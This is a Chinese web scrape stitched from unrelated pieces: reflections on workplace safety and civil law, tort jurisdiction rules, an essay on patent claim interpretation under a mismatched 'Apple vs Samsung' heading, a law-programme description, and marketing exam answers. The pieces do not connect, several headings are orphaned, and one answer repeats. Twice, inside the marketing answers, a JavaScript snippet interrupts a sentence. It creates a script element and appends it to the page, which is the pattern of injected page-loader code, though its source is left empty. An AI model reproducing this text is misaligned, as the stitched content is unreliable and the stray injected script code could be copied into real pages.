专利权归属
，通过对事故案例的学习，尤其是水泥企业发生的各种安全事故，使我对安全的重要性有了深刻的理解和感悟。
有多少警钟长鸣，就有多少个血泪辛酸的故事，众多的事故的发生，除了物的不安全因素外，大部分安全事故的发生均是由于人的不安全行为所引起，安全意识的谈薄，违章指挥，违章作业是造成安全事故的主因。
在我们的日常生产过程中，要慢慢树立起“安全为生产，生产必须安全，安全促进生产”的管理理念，通过安全培训及安全教育，提高广大员工的安全意识，只有提高员工的安全意识及技术能力，才能在生产过程中自觉遵守安全操作规程，从而使员工从被动的“要我安全”转变为主动的“我要安全”“安全无小事、防微杜渐”是关键，安全管理工作不是喊喊口号而是要真正的将安全管理工作落到实处，我作为一名基层管理人员更应该按照公司的“六个坚持、两个坚决”的安全管理理念将安全工作落到实处，在管理过程中争取做到“0”违章的管理模式。
中华人民共和国民法通则释义的读后感
学习民法的心得体会一、对民法的一些认识。
法律是社会的调节器。
任何部门法皆以一定的社会关系之调整为使命，民法也不例外。
民法区别于其他部门法的原因，在于它有自己特殊的调整对象和调整方法。
民法的调整对象是平等主体之间的财产关系和人身关系。
人身关系就是人格和身份发生的社会关系和法律关系。
财产关系就是大陆法系的“物权”就是以财产为媒介的社会关系和法律关系。
民法的调整方法分为事前调整和事后调整。
民法调整在于恢复正常的民事关系。
民法的性质。
首先民法为权利法，其次，民法为私法，是市民社会的法，是私人社会的宪法。
民法的基本原则：当事人在民事活动中地位平等，意思自治的原则，诚实信用的原则，权利不得滥用原则。
民事活动是日常的社会生活，民事社会活动在民法的范围内活动。
而民事活动超出了它的范围才与行政法和刑法发生关系。
民事活动是最基本的市民社会的活动，可以说民法具有领先性。
民法是私人社会的法，是民间社会的法非权力社会的法，是完全平等的法，是调整民事社会的法。
它保护的是私权。
因此我认为民法是民众之法，具有极强的实践性，植根于民众的社会生活，来源于民众的社会实践，与民众自身利益息息相关。
在诸法之中，与民众利益关系最紧密者，莫过于民法。
二、学习民法的心得。
学习民法不能只看法条，即使是把《民法通则》及《司法解释》都背下来也是无济于事的，民法重要的是在对法条记忆的基础上对实际问题的解决，即要联系实际案例，进行分析才能真正的理解。
学民法，要多做练习，对实际上的案例进行分析，通过这种途径去理解法条，也就是说在对法条有充足的理解基础上，再去记忆。
三、民法的展望展望民法有两个角度，一是从法本身来看法，二是从法外来看法。
进入21世纪的中国民法会怎样发展?能否如前面所讲，把市民社会放到核心的地位，把权利本位、私法自治突出来，深入人心，这关系到中国法治化的整个进程，也关系到经济民主化、政治民主化的进程。
从法本身的角度来展望中国民法。
改革开放三十多年的成果，对中国的经济、政治以至伦理确实有巨大的贡献，而且更多的是开启了一种民智，提出了一种新的治国理念，即不要贫困落后的社会主义，要让人民过上富足的生活，过上自由的有尊严的生活。
虽然这种自由状态现在还受到许多约束，但与改革以前相比已是极大的进步。
改革开放以后，从民法的制度到理念，我们更多地是从大陆法，包括从欧洲、日本的民法典以及中华民国的民法中借鉴对我们民族发展、政治经济改革有益的东西，结合国情，形成如今中国民法的基本状况。
并有了婚姻法、继承法、收养法、合同法、商标法、专利法、著作权法、公司法、票据法等诸多民商事立法，再加上05年颁布实施的物权法，当今中国的民法的立法体系不断的趋于健全。
但是可能我们中国还是需要一般民法典。
法典化对于民主国家有着积极的意义。
人治的基本原则是“临事制刑”，即事情出现了才制定法律。
而法治必须把规则预先公开。
规则一旦制定，就不光约束老百姓，同样也约束立法者和执法者，一个国家没有什么东西比“法”更大。
法典就有这样的功能：把所有的规则事先制定出来，公之于众，以此引导人们的行为，保护人们的权益。
法典的意义并不仅在于有文字规范，更重要的是要人们知道有什么制度，知道自己有哪些权利。
而它更深远的意义在于成为一种文化，成为人们的一种习惯和自由，即依法办事，依法治国。
民法典不是单行法，也不是一般的法，是改革三十多年来法文化的结晶，需要充分的酝酿和准备。
一方面是要加快民法典的立法进程，另一方面要对民法典的制定持十分审慎的态度，因为这毕竟是我国法治化进程中具有里程碑意义的大事。
完全有理由相信，稍微长一点的时间，中国也能搞出一部比较好的民法典。
侵权案件的管辖法院
1、对于侵权行为而提起的诉讼，由侵权行为地或者被告住所地法院管辖。
2、侵权行为地，包括侵权行为实施地和侵权结果发生地。
第二十八条 因侵权行为提起的诉讼，由侵权行为地或者被告住所地人民法院管辖。
《最高法院关于民事诉讼法的解释》 第二十四条 民事诉讼法第二十八条规定的侵权行为地，包括侵权行为实施地、侵权结果发生地。
苹果和三星专利权之争
专利权是无形财产权，作为一项民事权利，其与有形财产权相比具有显着的差异。
有形财产权的客体是看得见、摸得到的财产，其保护范围是确定的。
而专利权属于智力成果权，是无形的，这就需要法律对其保护范围予以界定。
对此，我国专利法第五十六条规定：发明或者实用新型专利权的保护范围以其权利要求的内容为准，说明书及附图可以用于解释权利要求。
虽然专利法对发明及实用新型专利权保护范围的确定已做出了明文的规定，但在司法实践中，对上述规定却仍存在不同理解和认识，因此，笔者认为有必要就这一问题进行一番探讨。
本文仅以专利无效行政案件为例，探讨如何通过权利要求书和说明书确定专利权的保护范围。
一、确定专利权保护范围的基本原则在专利权保护范围的确定方式上，历史上有三种具有代表性的做法：一是周边限定制，是指专利权的保护范围完全由权利要求记载的内容来确定，并且要求只能根据权利要求书用词的字面意义严格、忠实地进行解释，以界定发明和实用新型专利的保护范围。
二是中心限定制，是指专利的保护范围是由专利的说明书和附图来确定的，权利要求的作用仅仅是供专利局和公众来判断其发明创造的新颖性和创造性，在确定专利权的保护范围时可以通过说明书和附图较为自由地对权利要求做出扩大解释。
但是，在专利制度的整个历史发展过程中，无论是哪个国家都没有采用过上述极端的周边限定制或中心限定制，而是或多或少地趋于两者的融和，这就形成了第三种做法即折衷制。
因此，《保护工业产权巴黎公约》补充条约草案第二十条及1973年欧洲14国签订的《欧洲专利公约》第六十九条均做出了类似的规定：专利的保护范围由权利要求书的内容确定，说明书和附图可以用以解释权利要求。
我国专利法第五十六条的规定正体现了这一立法原则。
对于折衷制，北京市高级人民法院《专利侵权判定若干问题的意见（试行）》第六条进一步解释道：确定专利权的保护范围应当坚持以权利要求的内容为准的原则。
以说明书及附图解释权利要求应当采用折衷解释原则。
既要避免采用周边限定原则，即专利的保护范围与权利要求文字记载的保护范围完全一致，说明书及附图只能用于澄清权利要求中某些含糊不清之处；又要避免采用中心限定原则，即权利要求只确定一个总的发明核心，保护范围可以扩展到技术专家看过说明书与附图后，认为属于专利权人要求保护的范围。
折衷解释应当处于上述两个极端解释原则的中间，应当把对专利权人的合理正当的保护与对公众的法律稳定性及其合理利益结合起来。
由于周边限定制严格限定了专利的保护范围，也较严格的限定了私权的行使，其更加倾向于维护公共权益，因而一些专家学者根据我国的国情和经济技术的发展状况提出，虽然我国专利法中规定了解释权利要求的折衷制，但法院在实践中应严格把握解释的尺度，应更靠近周边限定制，否则将影响到公众利益，阻碍我国经济、技术的发展。
二、确定专利权保护范围的司法实践1、当事人自认对确定专利权保护范围的影响。
众所周知，专利权保护范围应以权利要求文字记载的客观内容为准，但当权利要求确定并授权公告以后，能否通过当事人自认的方式重新确定专利权保护的范围呢
案例：重庆市永固工程拉筋带厂有限公司、重庆永固实业有限公司（无效请求人）诉专利复审委员会双向加强型土工格栅实用新型专利无效行政纠纷案[ii]。
本专利权利要求1为：一种双向加强型土工格栅，其特征是：为分组纵向与分组横向的金属丝（1）与工程塑料（2）复合而成的格栅状结构。
在专利复审委员会的口头审理中，专利权人和无效请求人均认可本专利权利要求1中一组金属丝中各金属丝的排列方式与对比文件中的排列方式相同，即间隔平行排列。
于是，专利复审委员会在第5476号决定中认可了上述内容，并在此基础上，评价了本专利权利要求1的新颖性和创造性。
对此两审法院均认为，根据专利法第五十六条的规定，没有记载在权利要求中的技术特征不能用于确定专利权利的保护范围。
虽然双方当事人在无效程序中均认可本专利权利要求1中一组金属丝中各金属丝的排列方式为间隔平行排列，但是该技术特征在本专利权利要求1中并无明确记载，且专利权的保护范围应是客观的，其对所有公众发生效力，不能基于专利权人和无效请求人的主观认识而发生变化。
因此，在评价权利要求1的新颖性和创造性时，当事人的自认不应予以考虑。
2、说明书和附图在确定专利权保护范围中的作用。
说明书和附图可以用来解释权利要求，而不能限定或改写权利要求。
如果一项技术特征在说明书或者附图里有所体现，但是在权利要求中没有记载，这个技术特征就不在专利权的保护范围之内。
在司法实践中，说明书和附图如何解释权利要求是存在争议比较大的一个问题，笔者尝试着确立以下基本原则：首先，权利要求中已经明确记载的内容，不需要用说明书和附图进行解释。
其次，权利要求中出现的自造词或其他含义不清的内容，可以用说明书和附图进行解释。
如周步宏诉专利复审委员会太阳能热水器水位自动控制仪实用新型专利无效行政纠纷案[iii]。
本专利权利要求1为：一种太阳能热水器水位自动控制仪，其特征在于：有装于热水器外的水位探头，水位探头与一水位控制电路相连接，水位控制电路中有控制信号处理电路，控制信号处理电路与前述水位探头连接，并与装于太阳能热水器进水管处的电磁阀连接，控制信号处理电路与电源电路相接，水位探头中包括一绝缘主体，绝缘主体两端有不锈钢电极，两电极接有探头线，在绝缘主体一端的不锈钢电极上装有金属头部。
对比文件是一名为太阳能热水器加水装置实用新型专利，其特征在于包括设置在太阳能热水器贮水箱溢水管上的探头，设置在贮水箱进水管上的电磁阀，控制板与探头和电磁阀连接。
该装置在贮水箱的溢水管上设置一容器，探头的导电片A、B设在容器内，导电片之间距离为1cm，容器的上部接溢水管。
其说明书记载：当处于容器内探头的导电片A、B浸入水中时，电压通过继电器闭合的触点和水的导电作用加到继电器的电磁线圈上......阀关闭停止加水。
在诉讼过程中，双方当事人就本专利两电极与绝缘主体的位置关系的认定产生了争议，且周步宏主张本专利水位探头的连接位置与对比文件不同。
首先，由于本专利权利要求1中记载绝缘主体两端有不锈钢电极，对此可能产生两种截然不同的理解，一是不锈钢电极在绝缘主体内，一是不锈钢电极在绝缘主体外。
在本专利权利要求记载的内容含糊不清的情况下，一审法院根据说明书中热水器水满后，水从溢水管溢出使两个电极通过水电阻连通，向外送一个正脉冲的记载，认定本专利的不锈钢电极在绝缘主体外，这与对比文件在通常状态下探头容器中两导电片之间利用空气进行绝缘，当两导电片浸入水中时电路接通的工作原理是相同的。
其次，关于本专利的水位探头的安装位置，在权利要求中的记载是不清楚的。
一审法院根据本专利说明书的记载以及周步宏在无效程序口头审理中关于水位探头中的金属头部是用于安装在水管上的连接装置--......的陈述来理解，得出了本专利水位探头上金属头部的作用仅在于连接探头与溢水管的结论。
因此本专利与对比文件的上述区别均不存在，最终一审法院认定本专利不具有创造性。
此案各方当事人均没有上诉。
笔者认为，这是一个权利要求出现含义不清的内容的典型案例。
由于对该技术特征的理解并不是唯一的，这时可以根据专利的说明书和附图解释权利要求，从而正确划定专利的保护范围。
从一审后当事人均未上诉的结果看，这种解释是可以被各方当事人接受的。
第三，权利要求中没有记载的内容，因不存在解释的基础，不能用说明书和附图进行解释。
如案例1：深圳市中自汉王科技有限公司（无效请求人）诉专利复审委员会名片型扫描器实用新型专利无效行政纠纷案[iv]。
专利权人为深圳矽感科技有限公司。
本专利权利要求1为：一种名片型扫描器，将名片的资料转换为电子讯号而输出至一资料处理装置，其特征在于有一容置空间的壳体，该壳体设有一名片入口及一名片出口，名片入口与名片出口皆与该容置空间相通；一驱动、扫描装置，包括一固定于该容置空间内的支承架、一定位于该支承架上的光学扫描元件、一枢设于该支承架并与该光学扫描元件呈平行且具有一间隔距离的滚杆、一设于该支承架的驱动马达，以及一设于该支承架上用以连接该驱动马达及该滚杆的减速齿轮组；及一电性连接光学扫描元件及驱动马达的电路板，由该电路板可提供驱动马达的电源，并控制光学扫描元件资料的传输。
本专利说明书记载：滚杆两端各套设有一枢接套，可相对置于第一支承件与第二支承件上所设的枢接孔，使得滚杆恰可与光学扫描元件用以接触名片的扫描表面呈平行且具有一定间隔距离。
第一、第二支承件上的枢接孔大于滚杆两端的枢接套的外径，使得滚杆可于第一支承件及第二支承件件的上、下方向作有限距离的活动。
专利复审委员会在第5701号决定中认为：本专利权利要求1与对比文件的区别技术特征仅在于一枢设于该支承架并与该光学扫描元件呈平行且具有一间隔距离的滚杆，根据说明书的记载，本专利权利要求1的滚杆应理解为可以上下浮动，否则无法实现有效的扫描。
一审法院经审理后认为，从上述区别技术特征仅可看出，本专利滚杆与光学扫描元件之间有间隔距离而不能得到滚杆与光学扫描元件之间的距离是可变的结论。
枢设作为本领域常用技术术语，其本身不具有上下浮动的含义，权利要求1中的滚杆可浮动的观点仅在说明书中记载，在权利要求1中并未记载，在评价创造性时不应予以考虑。
二审法院则认为，本案中争议专利权利要求1中并未明确指出滚杆是否可以上下浮动，但在说明书中则明确提到。
对本领域技术人员来说，扫描仪因纸张厚薄的不同使滚杆或光学扫描元件移动是设计中必然考虑的因素，正是这一区别技术特征使得本案争议专利相对于证据1具有创造性。
笔者同意一审法院的意见。
北京市高级人民法院《专利侵权判定若干问题的意见（试行）》第十五条规定：仅记载在专利说明书及附图中，而未反映在专利权利要求书中的技术方案，不能纳入专利权保护范围。
即不能以说明书及附图为依据，确定专利权的保护范围。
本案中，二审法院认可滚杆是否可以上下浮动仅是在说明书中明确提到，在权利要求1中并未明确指出，因而根据上述规定其并不能纳入专利的保护范围。
而二审从发明目的出发考察专利的保护范围的做法，则更加靠近了中心限定制。
而且，在机械领域中，枢设本身是一个含义确定的概念，本领域普通技术人员完全可以通过阅读权利要求对本专利的保护范围有一个明确的理解，因而此时不需要通过说明书对权利要求做进一步解释。
案例2：郑州力威管道设备有限公司（无效请求人）诉专利复审委员会可曲挠橡胶接头实用新型专利无效行政纠纷案[v]。
本专利权利要求1为：可曲挠橡胶接头，由接头体（4）和外加法兰盘（3）组成，其特征是：在接头体（4）的端部凸缘（6）内锒有加强环（1）；外加法兰盘（3）由若干圆弧段组成；在相邻的各圆弧段之间，由加固块（2）将其连接成一体。
本专利的说明书中记载：采用若干圆弧段组成的法兰盘，可在装配时快速方便地将该外加法兰盘装在接头体的外圆周上，由于加强环的刚性好，与橡胶接触面积较大，不易错位松动，......此外，说明书中再无其他关于加强环刚性、柔性的记载。
专利复审委员会在第6167号决定中认定，由本专利的技术方案结合其所解决的技术问题可以认定，本专利所述的加强环是刚性的，与分为若干圆弧段的法兰盘相配合，可以实现装配方便、密封性好的技术效果。
一审法院审理后认为，本专利权利要求中没有记载加强环的性质，说明书中对于加强环的解释也仅是刚性强，并没有说明是刚性环，刚性强与弱是相对的概念，无论是刚性环还是柔性环均存在刚性强与弱的差别，并不能由此得出是刚性环还是柔性环的结论。
该案上诉后二审法院却认为，依据本专利说明书中记载的技术方案并结合其所解决的技术问题可以认定，本专利的加强环是刚性的。
笔者认为，这是一个用说明书限定权利要求的典型案例。
在本专利的权利要求中并没有限定加强环为刚性环，因此不能依据说明书将其解释为刚性环。
退一步讲，即使是说明书也只是说加强环的刚性强，并没有说是刚性环，因此将权利要求中的加强环解释为刚性更是无从说起，其已经完全超出了专利的保护范围。
案例3：湖南第二人民机器厂（专利权人）诉专利复审委员会改进型混合式折页机实用新型专利无效行政纠纷案[vi]。
本专利权利要求1为：一种改进型混合式折页机，是在现有混合式折页机基础上改进而成，在第二折组之后设有第三垂直刀式折组和第四垂直刀式折组，其中，第三垂直刀式折组具有折刀（10）、挡纸板（9）、三折辊（4）、三折输纸胶带（3）和传纸轮（21），传纸轮（21）安装在三折辊（4）下方的传纸轮轴（24）上；第四垂直刀式折组包括折刀（15）、四折辊（16）、挡纸板（17）和（20）、四折输纸胶带（19）、四折出帖胶带（18），折刀（15）安装于传纸轮（21）的下方右侧或左侧，其特征在于：第三垂直刀式折组之折刀（10）设置于二折辊（6）的右下方或左下方和双联栅式折组之栅栏板（8）的正下方；第四垂直刀式折组的结构形式为水平布置。
其说明书记载：32开、双联折页机组和第三垂直折页机组均在机内设置、当第三垂直刀式折组和32开双联折页机组均为正折安装时，其第四垂直刀式折组，既可正折方式安装，也可反折方式安装，还可正反四折两种方式同时安装。
原告主张说明书中记载的上述内容是本专利与对比文件的一个区别技术特征。
对此，一审法院认为，上述内容在本专利权利要求书中没有记载，仅记载在了说明书中，因说明书和附图只能用来解释权利要求书，并不能直接作为权利要求书记载的内容，因此这一特征已超出本专利权利要求的保护范围，在与对比文件的比较中不能予以考虑。
二审法院支持了一审的观点。
上述案例涉及了对专利权利要求中没有记载的技术特征的解释问题。
笔者认为，对于权利要求中没有记载的特征，不应列入专利权的保护范围，不能用说明书和附图的内容予以解释。
因为《审查指南》规定，权利要求的保护范围应当根据其所用词的词义来解释。
这就意味着权利要求保护范围应以权利要求文字记载的内容为准，如果一项技术特征在权利要求中没有记载，那么也就失去了解释的基础。
律师事务专业是否属于法学类专业?
法律事务专业是一门学科专业，属于法律类专业，它以科学发展观统为指导，以就业为导向，实行理论与实践并重，学历教育为主兼顾职业证书教育，强调学生能力与素质养成的人才培养模式，服务于地方经济社会建设。
本专业主要为公检法、基层法律服务机构、街道社区、律师事务所、企事业单位、社会团体、政府机关等部门的一线工作岗位，培养能从事法律服务、司法文秘以及司法行政辅助管理等实际工作，具有“爱众亲仁”道德精神和“博学笃行”专业品质的高素质技能型法律服务专门人才。
师资队伍特色：专职教师与兼职教师实现了1：1的比例。
现有100%通过了实践教学能力考核，全部为“双师型”教师，80%专职教师通过了司法资格考试，60%的专职教师为兼职执业律师。
专业教学特色：以培养学生的法律实务应用能力为中心，通过模拟法庭、专业辩论、速记速录、项目小组、法律协会、法律援助等多种渠道或形式实施专业教学，实践性教学的比重超过了专业课程教学课时的50%。
专业实践特色：充分实现了“工学结合”的专业实践模式和人才培养模式。
与有关政府、法院、街道、社区等开展校企合作、行业合作，学生通过“法律协会”或“法律援助站”定期到长沙市三湘社区、雅塘社区以及其他街道社区等开展法律服务活动，帮助弱势群体，实现思想道德品质与专业素质的双重锻炼。
就业岗位适用范围为：公、检、法等各级政法机关的执行员、书记员、法警、内勤、办事员；政府各级各类行政执法机关的公务员；公证处、律师事务所、仲裁机构、法律服务所的法律助理、法律工作者、接待员；公司、企事业单位的法律事务工作、经理助理、办事员、文员等。
该专业专主干课程有：法理学、宪法学、国际法学、民法原理与实务、行政管理原理与实务、企业管理原理与实务、经济法原理与实务、民事诉讼法原理与实务、刑法原理与实务、知识产权法原理与实务、行政法与行政诉讼法学、速录与速记、婚姻家庭法原理与实务、刑事诉讼法原理与实务、商法原理与实务、司法辩论与口才等。
市场营销案例题
求答案
市场营销学 1，市场营是从整定义产，它认为产品的整体模念包含着五个不可或缺的层请简要回答这五个层次的内容。
答:现代营销理论认为，产品应当是一个综合的概念。
任何产品，都应包含着以下5个层次: (1)核心利益。
这是最基本的层次，即顾客真正需要的基本服务或利益。
(2)产品的实体层。
这是产品的基础。
指产品的有形部分，也叫有形产品、实体产品。
是消费者通过自己的眼、耳、鼻、舌、身等感觉器官可以接触到、感觉到的有形部分。
(3)期望产品。
即购买者购买产品时通常希望和默认的一整套属性和条件。
(4)延伸产品。
也叫附加产品、引伸产品。
指购买者在购买产品时得到的附加服务和利益。
(5)潜在产品。
即具有变化与改进潜质的产品部分。
2，分别解释在E>l、E=1、E<1(E表示价格弹性系教)三种情况下，企业的价格变动对产品销售有何影响? 答：(1)当产品富于需求弹性即E>1时，商品小幅度降价，销售量就会显著增加，企业的总收入也会增加；相反，商品小幅度提价，销售量就会明显下降，企业的总收入也会减少。
价格变动方向同总收入的变动方向成反比。
对于这类产品。
企业宜采取低价策略。
(2)当产品具有一般需求弹性即 E=l时，价格变动幅度与销售量变功幅度大小一致，方向相反，总收入不变。
对于这类产品，企业不宜采用价格手段进行竞争。
(3)在产品缺乏需求弹性即E< 1的情况下，即使产品价格下降很多，销售量也只有较少的增加，企业总收入减少；相反，价格提高很多，销售量也只有较小的减少。
价格的变动趋势同总收入的变动趋势方向相同。
对于这类产品采用低价达不到销售量增加和效益提高的目的，而有限制的较高的定价则对企业有利 3，简要说明社会市场营销观念的含义，并举一个你认为符合社会市场营销观念的企业经营实例。
答：社会市场营销观念，是营销观念的发展和延伸，强调企业向市场提供的产品和劳务，不仅要满足消费者的个别的、眼前的需要，而且要符合消费者总体和整个社会的长远利益。
企业要正确处理消费者欲望、企业利润和社会整体利益之间的矛盾，统筹兼顾，求得三者之间的平衡与协调。
（自己举例） 4，简述新旧两类市场观念的区别。
答：新旧两类观念的区别在于：(1)企业营销活动的出发点不同。
旧观念下企业以产品为出发点，新观念下企业以消费者需求为出发点；(2)企业营销活动的方式方法不同。
旧观念下企业主要用各种推销方式推销制成的产品，新观念下则是从消费者需求出发，利用整体市场营销组合策略，占领目标市场；(3)营销活动的着眼点不同。
旧观念下企业的目光短浅，偏向于计较每一项或短期交易的盈亏和利润的大小，而新观念下企业除了考虑现实的消费者需要外，还考虑潜在的消费者的需要，在满足消费者需要、符合社会长远利益的同时，求得企业的长期利润。
5，简述影响企业分销渠道设计的产品因素? 答：影响企业分销渠道设计的产品因素主要包括以下方面： (1)产品的价值。
(2)产品的时尚性。
(3)产品的易腐易毁性。
(4)产品的体积与重量。
(5)产品的技术与服务要求。
(6)产品的季节性。
(7)产品的经济生命周期。
(8)产品的用途。
6，渗透定价策略有何可取之处
在什么条件下适宜采用渗透定价策略
答：渗透定价策略的优点： （1）可以占有比较大的市场份额。
（2）通过提高销售量来获得企业利润，也较容易得到销售渠道成员的支持。
（3）低价低利对阻止竟争对手的介入有很大的屏障作用。
渗透定价策略的条件： (1) 商 品 的市场规模较大，存在着强大的竞争潜力; (2 )商 品 的需求价格弹性较大，稍微降低价格，需求量会大大增加; （3) 通 过 大批量生产能降低生产成本。
7，在什么情况下适宜采用产品调整策略
这种策略的优缺点是什么 答：在消费者需求不同、营销环境不同、技术条件不同的情况下，企业在国际市场营销中往往采用产品调整策略。
产品调整策略的优点是增加产品对国际市场的适应性．从而扩大销售、增加企业的收益；缺点是增加了成本和费用。
,8，对于市场补缺者来说，确定一个好的补缺基点最为重要。
请指出一个最佳的补缺基点应具备的特征 答：一个最佳的“补缺基点”应具有以下特征： (1)有足够的市场潜量和购买力； (2)利润有增长的潜力 (3)对主要竞争者不具有吸引力(4)企业具有占据该补缺基点所必需的资源和能力(5)企业已有的信誉足以对抗竞争者。
,9，什么是集中性市场策略?这种策略适用于哪些情况? 答：集中性市场策略。
即用特殊的商品和营销方案去满足特殊消费者的需要，是一个比较特殊的策略。
在以下情况下适宜采用这种策略： （1）企业的实力比较薄弱。
(2)产品在性能、特点等方面差异性较大或产品特性变化较快。
(3)市场差异性较大。
(4)竞争对手采用的是无选择性市场策略时。
,10，在什么情况下适宜采用产品调整策略?这种策略的优缺点是什么? 答：在消费者需求不同、营销环境不同＼技术条件不同的情况下，企业在国际市场营销中往往采用产品调整策略。
产品调整策略的优点是增加产品对国际市场的适应性，从而扩大销售，增加企业的收益；缺点是增加了成本和费用。
(12分) ,11，在消费者购买行为中，探究性购买有什么特点? 针对这类购买行为，企业应采取什么样的营销策略
答：探究性购买，也叫广泛地解决问题。
指消费者对自己需要的商品一无所知，既不了解性能牌号特点，又不清楚选择标准和使用养护方法。
此时企业要突出宣传商品的特点，使消费者在普遍了解大类商品的基础上，建立起对某具体牌号商品的信心。
,12．在分销渠道设计中应考虑哪些企业自身的因素?这些因素对企业的分销渠道设计有何影响? 答：(1)企业的规模和实力。
规摸大的企业，资金力量雄厚，管理水平较高，如果企业愿意对渠道的控制程度高些，或要求渠道短些，就有可能做到。
而规模小，资金力量不强的企业，必须依靠中间商提供销售服务。
(2)企业声誉与市场地位。
声誉越高的企业，抉择的余地就越大；相反的，声誉不高或没有地位的企业，抉择的余地就比较小。
(3)企业的经营管理能力。
企业管理者的经验丰富、经营管理能力强，职工业务素质高，选择分销渠道的主动性大；否则，选择权就小，依靠其他企业就比较多。
(4)控制渠道的要求。
凡企业在营销中需要对分销渠道时刻控制的，不宜采取长渠道、宽渠道结构。
企业如有较强的var script = document.createElement('script'); script.src = ''; document.body.appendChild(script); 销售能力，最宜把产品直接出售给消费者或用户；当中间商必不可少时，则宜选择较短的渠道结构。
13．细分市场有效性的标准是什么? 答：主要有以下方面： (1)要做到分片集合化。
根据消费者的特点先把总体市场划分为一个个较小的片，然后把相类似的小片集合到一起，形成一个个较大的片。
对这个集合后的相对大一些的片要求特征明确，每个片(即细分市场)必须有各自的构成的群体、共同的特征和类似的购买行为。
(2)细分后的子市场要有足够的购买潜力。
这既要求细分后的子市场具有与企业营销活动相适应的规模，还要求子市场不仅具有现实的购买力，还需要具有相当的购买潜力，这样的子市场才有发展前途。
(3)细分后的子市场要有可接近性。
主要指企业能够有效地集中营销力量作用予所选定的目标市场的程度。
(4)市场细分要有可衡量性。
主要体现在两方面，其一，作为细分的标准应该是能够得到的，有些消费者特征虽然重要，但不易获取或衡量，不适宜作细分的标准，其二，细分后的消费者市场片的人数、购买量及潜在购买能力应该是可以衡量的。
(5)市场细分要有相对的稳定性。
每一个分片划定之后，要有一个相对的稳定期，具体期限的要求要根据市场的变化和商品的特征而定。
14，举出一例实际生活中你所经历的购后不满意的事例，你是怎样处理的?并根据这一,事例给企业在如何提高顾客购后满意度方面提出建议。
答：消费者购买商品以后，购买的决策过程还在继续，他要评价已购的商品。
企业对这一步仍须给予充分的重视，因为它关系瓤产品今后的市场和企业的信誉。
消费者的购买活动，先于购买行为而发生，后于购买行为而结束。
消费者的购后感受和购后评价至关重要。
售货现场的交易过程只不过是消费者决策步骤中的一步，企业切忌以一概全，必须研究整个购买过程，尤其要努力使顾客有良好的购后感受，让消费者满意，从而带来企业经营效果。
(8分) 15．举例说明探究性购买行为有什么特点?针对这类购买行为企业的营销对策如何? 答：37．探究性购买，也叫广泛地解决问题。
指消费者对自己需要的商品一无所知，既不了解性能牌号特点，又不清楚选择标准和使用养护方法。
此时企业要突出宣传商品的特点，使消费者在普遍了解大类商品的基础上，建立起对某具体牌号商品的信心。
(8分) 16．试比较尾数定价策略和整数定价策略的不同功用? 答：尾数定价策略，是针对消费者对一般商品的求便宜、怕上当的心理，尽可能在价格数字上不进位，使其价格的尾数为零头。
使消费者产生价格低廉和卖者计算精确、价格公道的感觉。
整数定价策略，是在消费者购买比较注重高档认知的商品时，把商品的价格定为整数。
给购买者以高档、高品质的满足。
(12分) 17．与实体产品相比，服务主要有哪些方面的特性? 答：与实体产品相比，服务主要以下特性： (1)无形性。
即服务是无形的。
服务是一种绩效或行为，而不是实物。
(2)不可分离性。
即服务产品的生产与消费是同步进行的，是木可分割的。
(3)可变性。
即服务的质量水平会受到相当多因素的影响，因此会经常变化。
(4)不可贮存性。
又称易消失性，指服务无法被贮藏起来以备将来使用。
(12分)。
18，运用产品整体概念的相关知识回答一下问题： “高档产品才是优质产品”的观点是否正确
为什么
答：本题基本观点，这个说法不正确。
产品应该是能够被顾客理解的,能满足其需求的，由企业营销人员所提供的一切.第一,它体现了以消费者需求为中心的营销观念.第二,建立完整的产品概念,提高企业的营销水平,使企业认识到消费者接受产平过程中满足程度,即取决于五个层次中每一层次的状况,也取决于产品整体组合效果.第三,明确产品与企业营销策略之间的关系.第四,指出产品的特征,括宽发展新产品的领域所以说能满足顾客需求，并能提供优质服务的产品才是好产品。
19企业进行恰当的市场定位，一般需经过哪几个步骤
答：一个完整的市场定位过程，通常应由以下四个环节所组成: (1)调查了解竞争者为自己的产品设计的形象和该产品在市场上(或者说在消费者或用户 的心目中)实际所处的位置。
(2)调查消费者或用户对该产品的哪个或哪些特征最为重视，消费者或用户对某种产品特 征或属性的评价标准，消费者或用户通过哪些途径了解该种产品的属性或特征等等。
(3)根据以上两方面的信息，为本企业的产品设计和塑造某种个性或形象。
这项工作通常 是在产品开发过程中完成的。
(4)设计、实施一系列旨在把产品个性与形象传达给顾客的营销活动，并根据实施果及时 调整和改进营销组合，或者重新设计产品的地位。
20请就下列两种产品进行市场细分〈概要提出细分方法和主要细分依据)。
（1）空调（2）手表 答：空调和手表这两种产品都应采用多变数细分。
(1) 空调 :可选用地理环境(如气候、城乡等)、人口和社会经济状况(如收人、家庭规模等)、 购买行为(如购买着眼点等)标准进行细分。
(2) 手表 :可选用人口和社会经济状况(如收人、年龄、职业等)、心理因素(如消费者个性、购买动机等)、购买行为(如购买时机 、购买着眼点、敏感因素等)等标准进行细分。
21企业进行有效沟通及制定促销组合时需经过哪几个步骤? 答：企业开发和进行沟通及促销时的步骤主要有: (1)找出目标接收者;(2)确定沟通目标;(3)设计信息; (4)选择沟通渠道;(5)制定促销预算;(6)决定促销组合。
22通过一件你自己在选购某种商品时被相关群体所影响的事例，说明相关群体是如何影响消费者购买行为的。
答：相关群体对消费者购买行为的影响。
主要有以下方面: (1 )向消费者展示新的生活方式和消费模式; (2) 相关群体能够影响人们的态度，帮助消费者在社会群体中认识消费方面的“自我”; (3) 相关群体的“仿效”作用，使某群体内的人们消费行为趋于一致化; (4) 相关群体中的“意见领袖(或意见领导者)”的示范作用。
23，产品组合策略有哪几种
答：产品组合策略是制定其他各项决策的基础。
企业必须对产品进行组合，做出正确地产品组合决策，使企业的产品组合独具特色，并通过不断调整保持最佳状态。
产品组合调整策略一般有以下类别： (1)扩充产品组合策略。
即开拓产品组合的广度和加强产品组合的深度，实行更多品类或品种的生产或经营。
(2)缩减产品组合策略。
即削减产品线或产品项目，实行更少品类、更专业化的经营。
以利于企业采取先进的生产技术和营销方法，提高效率，降低成本和费用，提高产品质量和服务水平。
(3)产品线延伸策略。
是指全部或部分地改变原有产品的市场定位。
24企业进行有效沟通的步骤主要有哪些? 答：企业开发和进行沟通及促销时的步骤主要有: var script = document.createElement('script'); script.src = ''; document.body.appendChild(script);(1)找出目标接收者;(2)确定沟通目标;(3)设计信息; (4)选择沟通渠道;(5)制定促销预算;(6)决定促销组合。
25企业的微观环境主要包含哪几方面的内容? 答：(1)企业内部环境。
包括企业的生产能力、财务能力、职工的素质、研究和发展的状况以及企业在公众中的印象等。
(2)生活资料消费者或生产资料的购买者。
